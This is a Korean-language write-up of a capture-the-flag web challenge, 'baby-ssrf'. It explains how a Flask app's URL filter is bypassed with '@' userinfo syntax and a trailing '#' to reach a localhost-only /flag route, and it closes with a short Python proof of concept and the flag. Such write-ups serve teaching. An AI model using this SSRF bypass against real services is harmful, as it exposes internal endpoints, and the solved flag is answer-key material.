baby-ssrf

- 분야: Web
- 키워드: SSRF

배경

해당 문제는 웹앱 프레임워크 Flask로 작성된 웹 페이지로, 사용자가 입력한 url로 python의 requests 모듈을 이용하여 post 요청을 보내고 응답을 받아 출력해주는 기능이 있습니다. 사용자 입력 url의 검증 로직을 우회하여 `/flag` 페이지로 요청을 보내는 것이 목표입니다. 해당 문제를 통해 ssrf 취약점을 학습할 수 있습니다.

분석

`/visit` 페이지

```
@app.route('/visit', methods=['GET','POST'])
def visit():
    if request.method == "GET":
        return render_template("visit.html")
    elif request.method == "POST": # (1)
        url = request.form.get("url", "")
        if not url:
            return render_template("visit.html", res="URL is required")

        elif filter_flag(url): # (2)
            try:
                # Send a POST request to the specified URL
                response = requests.post(url)

                # Get the response content
                response_content = response.text

                return render_template("visit.html",
res=response_content[0:200]) # (3)
            except requests.RequestException as e:
                return render_template("visit.html", error=f"Error during
request: {str(e)}")
        else: # (4)
            return render_template("visit.html", res="filtered")
```

`/visit` 페이지가 동작하는 코드를 보면 다음과 같습니다. 먼저, `/visit` 페이지는 GET 과 POST 두가지 방식을 허용합니다.

1. POST 요청이 들어올 경우 form 을 통해 들어온 url 값을 받아와 url 변수에 값을 저장합니다. url 이 없을 경우 url이 필요하다는 메세지를 렌더링합니다.

2. `filter_flag()` 함수에 `url`을 인자로 넘겨 결과값에 따라 true일 경우 requests 모듈을 이용하여 url로 post 요청을 보냅니다.

3. post 요청을 보낸 후 받은 응답값을 200번째 문자열까지 렌더링합니다.

4. `filter_flag()` 함수의 결과가 false 라면, filtered 라는 문자열을 출력합니다.

`/flag` 페이지

```
@app.route('/flag',methods=['POST'])
def flag():
    # Check if the request is coming from localhost
    if request.remote_addr != '127.0.0.1':
        abort(404)  # Return a 404 error if not from localhost

    return render_template("flag.html")
```

`/flag` 페이지는 POST 메서드만을 허용합니다. request.remote_addr를 이용해 요청 ip가 127.0.0.1인지 확인합니다. 127.0.0.1가 아닐 경우 404 error 페이지를 반환합니다. 127.0.0.1은 내부 서버의 ip 이므로 외부에서는 `/flag` 페이지에 접근할 수 없습니다.

`filter_flag()`

```
def filter_flag(url):
    urlp = urlparse(url)
    urlloc = urlp.netloc.lower()
    if (urlloc.startswith('localhost') or urlloc.startswith('127') or
urlloc.startswith('0') or urlloc.startswith('213')):
        return False
    if(url.endswith('flag')):
        return False
    else:
        return True
```

`urlparse()`로 url을 파싱하여 netloc을 urlloc에 저장합니다. `startswitch()`을 이용하여 urlloc에 저장된 문자열이 `localhost`,`127`,`0`,`213`으로 시작하는지 검사합니다. `endswith()`를 이용하여 `flag`로 끝나는지 검사합니다. 모든 검증을 통과하면 True를 반환합니다.

`/flag` 페이지는 로컬호스트 ip 만 접속이 가능하므로 `/visit` 페이지를 이용하여 localhost로 요청을 보내야합니다. 이때 `localhost`,`127`,`0`,`213`들은 모두 localhost로 요청하려는걸 막기위한 필터링입니다. 하지만 `startswith()` 함수를 이용하고 있으므로, netloc이 위의 문자열로 시작하지만 않으면 됩니다. 마찬가지로 `/flag` 페이지에 요청을 보내는 것을 막고자하는 필터링이 `endswith()` 를 사용하고 있기 때문에, 다른 문자로 끝나게 해준다면 필터링을 우회할 수 있습니다.

`startswith()` 우회

> scheme://[user:password@]host[:port][/]path[?query][#fragment]

url 은 다음과 같이 나뉘어집니다. 따라서 요청을 보낼 때 `@` 앞에있는 문자는 id:pass 로 인식하고 뒤의 문자를 host로 여기게 됩니다. 하지만 `urlparse.netloc`에서는 `://` 뒤의 문자들을 parsing 하기 때문에 `google.com@localhost:8000` 과 같이 작성하면 `localhost:8000`으로 요청을 보내게 되고, `startswith()` 우회가 가능합니다.

`endswith()` 우회

`localhost:8000/flag` 뒤에 `#`, `?` 와 같은 url 예약문자를 붙여주면 `endswith(flag)`를 우회하면서 요청이 달라지지 않습니다.

풀이

PoC

```
import requests

URL = "https://ecs-baby-ssrf.chals.io/visit"
datas = {"url":"http://google.com@localhost:8000/flag#"}
res = requests.post(URL, data=datas)
print(res.text.split('<div>')[1].split('</div>')[0])
```

플래그: ewha{H0w_d1d_you_bypass_filt3rin9}

레퍼런스